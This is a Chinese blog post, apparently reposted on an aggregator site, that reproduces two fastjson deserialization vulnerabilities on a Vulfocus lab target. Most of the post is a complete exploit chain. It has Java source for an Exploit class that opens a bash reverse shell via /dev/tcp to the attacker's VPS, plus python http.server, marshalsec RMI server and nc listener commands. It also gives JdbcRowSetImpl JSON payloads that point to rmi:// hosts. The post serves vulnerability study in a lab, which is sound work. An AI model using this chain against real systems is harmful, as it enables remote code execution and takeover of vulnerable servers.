我是靠谱客的博主 丰富烤鸡,最近开发中收集的这篇文章主要介绍【Vulfocus漏洞复现】fastjson-cnvd_2017_02833、fastjson-cnvd_2019_22238,觉得挺不错的,现在分享给大家,希望可以做个参考。
概述
vps:centos8 腾讯云
本地:windows11
靶场环境:http://123.58.236.76:24477/
访问靶场环境:http://123.58.236.76:24477/
burp进行抓包,将请求方式改为POST,能够请求json数据,可能存在fastjson漏洞
准备两个东西:Exploit.class、marshalsec-0.0.3-SNAPSHOT-all.jar(准备过程不详述,网上都有)
在本地创建Exploit.java,内容如下
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/xxxxxxxx/1122 0>&1"}); #xxxxxxxx为vps的ip地址
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
在Exploit.java同目录下打开cmd,输入
javac Exploit.java
会生成Exploit.class,将Exploit.class、marshalsec-0.0.3-SNAPSHOT-all.jar上传到vps上
如上图开三个窗口
窗口1输入(注意一定要在Exploit.class的目录下)
python3 -m http.server --bind 0.0.0.0 1234
窗口2输入(xxxxx为vps的ip地址)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxxxxx:1234/#Exploit" 9999
窗口3输入
nc -lvvp 1122
在burp中输入payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xxxxxxx:9999/Exploit", #xxxxxxx为vps的ip地址
"autoCommit":true
}
}
反弹shell
注:记得vps要把对应端口开放,否则无法反弹
fastjson-cnvd_2019_22238复现方法一模一样,只有burp请求的数据不一样
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xxxxx:9999/Exploit", #xxxxx为vps的ip地址
"autoCommit":true
}
}
最后
以上就是丰富烤鸡为你收集整理的【Vulfocus漏洞复现】fastjson-cnvd_2017_02833、fastjson-cnvd_2019_22238的全部内容,希望文章能够帮你解决【Vulfocus漏洞复现】fastjson-cnvd_2017_02833、fastjson-cnvd_2019_22238所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复